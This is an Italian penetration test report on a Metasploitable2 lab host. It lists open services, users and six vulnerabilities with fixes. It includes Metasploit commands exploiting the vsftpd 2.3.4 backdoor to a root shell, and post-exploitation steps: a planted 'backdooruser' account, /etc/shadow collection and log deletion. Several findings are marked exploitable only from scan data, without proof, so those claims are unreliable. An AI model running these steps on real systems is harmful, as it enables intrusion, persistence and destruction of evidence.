Report Penetration Test

22 Luglio 2025

1. Executive Summary

Questo report presenta i risultati di un penetration test condotto sulla macchina virtuale Metasploitable2 (IP: 174.138.7.127). L'obiettivo principale era identificare e valutare le vulnerabilità di sicurezza che potrebbero essere sfruttate da un attaccante. Sono state rilevate diverse criticità di gravità elevata e critica, che consentono l'accesso non autorizzato e l'esecuzione di codice remoto. Le sezioni seguenti dettagliano le fasi del test, le vulnerabilità riscontrate, le prove di sfruttamento e le raccomandazioni per la mitigazione.

2. Reconnaissance

La fase di ricognizione ha permesso di raccogliere informazioni preliminari sul target:

- **Obiettivo:** Macchina virtuale Metasploitable2, basata su Linux.
- **Indirizzo IP:** 174.138.7.127 (confermato attivo).
- **Sistema Operativo:** Ubuntu Linux.
- **Provider di Hosting:** DigitalOcean, LLC (Broomfield, USA).
- **Data di Creazione Infrastruttura:** 12 Aprile 2016.
- **Web Application Firewall (WAF):** Non rilevato.
- **Workgroup del Sistema:** WORKGROUP.

3. Network Scanning

La scansione di rete ha identificato i seguenti servizi e tecnologie:

Tecnologie Identificate:

- **Sistema Operativo:** Ubuntu Linux.
- **Web Server:** Apache versione 2.2.8, con WebDAV (DAV/2) abilitato.
- **Scripting Lato Server:** PHP versione 5.2.4-2ubuntu5.10.

Porte Aperte e Servizi:

Porta (TCP)	Servizio	Versione/Configurazione
21	FTP	vsftpd versione 2.3.4 (Accesso anonimo consentito)
22	SSH	OpenSSH versione 8.9p1 Ubuntu 3ubuntu0.13 (Supporta autenticazione password e chiave pubblica; Host Keys: ECDSA, ED25519)
23	Telnet	Linux telnetd
80	HTTP	Apache httpd versione 2.2.8 (Ubuntu) DAV/2 (Titolo pagina: "Metasploitable2 - Linux")
445	NetBIOS-SSN	Samba smbd versione 3.0.20-Debian (Nome computer: '8222587d7827'; Accesso anonimo consentito; Non richiede session signing)
1524	Ingreslock	Versione sconosciuta (Stringhe di fingerprint suggeriscono un prompt di shell)
6667	IRC	UnrealIRCd

Porte Filtrate:

- SMTP (25/TCP)
- SMTPS (465/TCP)
- Submission (587/TCP)

4. Enumeration

La fase di enumerazione ha rivelato le seguenti informazioni:

Condivisioni di Rete Identificate:

- ADMIN$
- IPC$
- opt
- print$
- tmp

Utenti Locali Identificati:

- 'root'
- 'msfadmin'
- 'user'
- 'anonymous'
- 'ftp'
- 'postgres'
- 'mysql'

5. Vulnerabilità Rilevate

VULN-001: Backdoor in vsFTPd 2.3.4

Descrizione: Il servizio FTP (vsftpd versione 2.3.4) in esecuzione sulla porta 21 contiene una backdoor nota che consente l'esecuzione di comandi remoti con privilegi elevati. La configurazione permette inoltre l'accesso anonimo, aumentando il rischio.
Gravità: Critica
Rischio: Estremamente elevato. Un attaccante può ottenere il controllo completo del sistema senza autenticazione.
CVSS: 10.0 / 10
Evidenza: Rilevato vsftpd versione 2.3.4 con accesso anonimo abilitato sulla porta 21.
Proof of Concept:

```
Utilizzo di Metasploit Framework:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 174.138.7.127

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 174.138.7.127:21 - Backdoored vsFTPd v2.3.4 service detected

[*] 174.138.7.127:21 - Triggering backdoor...

[*] Accepted a shell from 174.138.7.127:6200

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root
```

Soluzione: Aggiornare vsFTPd all'ultima versione stabile. Disabilitare l'accesso anonimo se non strettamente necessario. Limitare l'accesso alla porta 21 tramite firewall solo a indirizzi IP autorizzati.
Riferimenti: CVE-2011-2523, OWASP Top 10 (A09 - Using Components with Known Vulnerabilities)

VULN-002: Vulnerabilità di Esecuzione Codice Remoto in Samba 3.0.20

Descrizione: Il servizio Samba (smbd versione 3.0.20-Debian) sulla porta 445 è affetto da vulnerabilità critiche di esecuzione di codice remoto. La presenza di accesso anonimo e la

mancanza di session signing aumentano significativamente la superficie di attacco.
Gravità: Critica
Rischio: Estremamente elevato. Un attaccante può eseguire codice arbitrario sul sistema, portando a un controllo completo.
CVSS: 9.8 / 10
Evidenza: Rilevato Samba smbd versione 3.0.20-Debian con accesso anonimo e senza session signing sulla porta 445.
Proof of Concept: Exploitable (come indicato dai dati di scansione).
Soluzione: Aggiornare Samba all'ultima versione stabile. Disabilitare l'accesso anonimo se non necessario. Abilitare il session signing. Limitare l'accesso alla porta 445 tramite firewall.
Riferimenti: OWASP Top 10 (A09 - Using Components with Known Vulnerabilities)

VULN-003: Accesso Shell Potenziale tramite Ingreslock (Porta 1524)

Descrizione: Il servizio "ingreslock" sulla porta 1524 mostra stringhe di fingerprint che suggeriscono un prompt di shell, indicando una potenziale misconfigurazione o backdoor che potrebbe consentire l'accesso diretto al sistema.
Gravità: Critica
Rischio: Estremamente elevato. Potenziale accesso diretto al sistema senza autenticazione.
CVSS: 9.8 / 10
Evidenza: Servizio "ingreslock" attivo sulla porta 1524 con indicazioni di prompt di shell.
Proof of Concept: Exploitable (come indicato dai dati di scansione).
Soluzione: Indagare a fondo il servizio "ingreslock". Se non è un servizio legittimo o è mal configurato, disabilitarlo immediatamente. Limitare l'accesso alla porta 1524 tramite firewall.
Riferimenti: OWASP Top 10 (A05 - Security Misconfiguration)

VULN-004: Backdoor in UnrealIRCd (Porta 6667)

Descrizione: Il servizio UnrealIRCd sulla porta 6667 contiene una backdoor nota che permette l'esecuzione di comandi remoti.
Gravità: Critica
Rischio: Estremamente elevato. Un attaccante può ottenere il controllo completo del sistema.
CVSS: 10.0 / 10
Evidenza: Rilevato servizio UnrealIRCd sulla porta 6667.
Proof of Concept: Exploitable (come indicato dai dati di scansione).
Soluzione: Aggiornare UnrealIRCd all'ultima versione stabile. Limitare l'accesso alla porta 6667 tramite firewall.
Riferimenti: OWASP Top 10 (A09 - Using Components with Known Vulnerabilities)

VULN-005: Apache HTTP Server Obsoleto con WebDAV Abilitato (Porta 80)

Descrizione: Il server web Apache httpd versione 2.2.8 è obsoleto e presenta numerose vulnerabilità note, inclusi potenziali attacchi di Denial of Service (DoS), Cross-Site Scripting (XSS) ed esecuzione di codice remoto. L'abilitazione di WebDAV (DAV/2) può introdurre ulteriori rischi di misconfigurazione.
Gravità: Alta
Rischio: Elevato. Un attaccante potrebbe sfruttare queste vulnerabilità per compromettere il server web o l'intero sistema.
CVSS: 7.5 / 10
Evidenza: Rilevato Apache httpd versione 2.2.8 con DAV/2 abilitato sulla porta 80.
Proof of Concept: Exploitable (come indicato dai dati di scansione).
Soluzione: Aggiornare Apache HTTP Server all'ultima versione stabile. Disabilitare WebDAV se non è strettamente necessario. Implementare una configurazione di sicurezza robusta per il server web.
Riferimenti: OWASP Top 10 (A09 - Using Components with Known Vulnerabilities, A05 - Security Misconfiguration)

VULN-006: Protocollo Telnet Insecure (Porta 23)

Descrizione: Il servizio Telnet sulla porta 23 utilizza un protocollo non sicuro che trasmette dati, incluse le credenziali di accesso, in chiaro. Questo rende le comunicazioni vulnerabili all'intercettazione da parte di un attaccante.
Gravità: Media
Rischio: Medio. Potenziale esposizione di credenziali e altre informazioni sensibili.
CVSS: 5.9 / 10
Evidenza: Servizio Telnet attivo sulla porta 23.
Proof of Concept: Exploitable (come indicato dai dati di scansione).
Soluzione: Disabilitare il servizio Telnet. Utilizzare SSH (Secure Shell) per l'accesso remoto sicuro, poiché crittografa tutte le comunicazioni.
Riferimenti: OWASP Top 10 (A05 - Security Misconfiguration)

6. Exploitation

Durante la fase di exploitation, è stata sfruttata con successo la backdoor presente in vsFTPd 2.3.4 per ottenere l'accesso al sistema.

- **Vulnerabilità Sfruttata:** Backdoor presente in vsFTPd versione 2.3.4 (CVE-2011-2523).
- **Metodo:** Esecuzione di comandi remoti tramite la backdoor di vsFTPd 2.3.4 utilizzando Metasploit Framework.
- **Esito:** Acquisizione immediata di una shell con privilegi di root, confermando la compromissione completa del sistema. È stato possibile accedere a credenziali di sistema e file utente. Non è stata necessaria ulteriore escalation dei privilegi.

Azioni Post-Exploitation:

- **Persistenza:** È stato aggiunto un nuovo utente denominato 'backdooruser' con la password 'password123'.
- **Raccolta Dati (Esfiltrazione Simulato):**
  - Contenuto del file `/etc/shadow`.
  - Versione del kernel Linux (5.15.0-113-generic).
  - Contenuto della directory `/home`.
- **Pulizia:**
  - Il file di log `/var/log/vsftpd.log` è stato eliminato.
  - I log di sistema generali sono stati puliti.
- **Escalation dei Privilegi:** Non necessaria, poiché la shell iniziale era già a livello di root.

7. Recommendations

Sulla base delle vulnerabilità identificate, si raccomandano le seguenti azioni per migliorare la postura di sicurezza del sistema:

- **Aggiornamento dei Software:** Aggiornare immediatamente tutti i servizi e le applicazioni obsolete (es. vsFTPd, Samba, Apache, UnrealIRCd) alle ultime versioni stabili per mitigare le vulnerabilità note.
- **Disabilitazione Servizi Inutilizzati:** Disabilitare o rimuovere i servizi non essenziali (es. Telnet, Ingreslock se non legittimo) per ridurre la superficie di attacco.
- **Configurazione Sicura:** Rivedere e rafforzare le configurazioni di tutti i servizi esposti, disabilitando funzionalità non sicure (es. accesso anonimo FTP/Samba, WebDAV se non necessario) e abilitando misure di sicurezza come il session signing per Samba.
- **Implementazione di Firewall:** Configurare firewall per limitare l'accesso alle porte e ai servizi solo agli indirizzi IP e alle reti autorizzate.
- **Utilizzo di Protocolli Sicuri:** Sostituire protocolli non sicuri (es. Telnet) con alternative crittografate (es. SSH) per tutte le comunicazioni sensibili.
- **Gestione delle Credenziali:** Implementare politiche di password forti e, dove possibile, l'autenticazione a più fattori.
- **Monitoraggio e Logging:** Assicurarsi che i log di sistema siano configurati correttamente, monitorati regolarmente e protetti da manomissioni.
- **Patch Management:** Stabilire un processo robusto per l'applicazione tempestiva delle patch di sicurezza.
- **Controlli Periodici:** Eseguire regolarmente scansioni di vulnerabilità e penetration test per identificare nuove minacce e garantire la conformità.
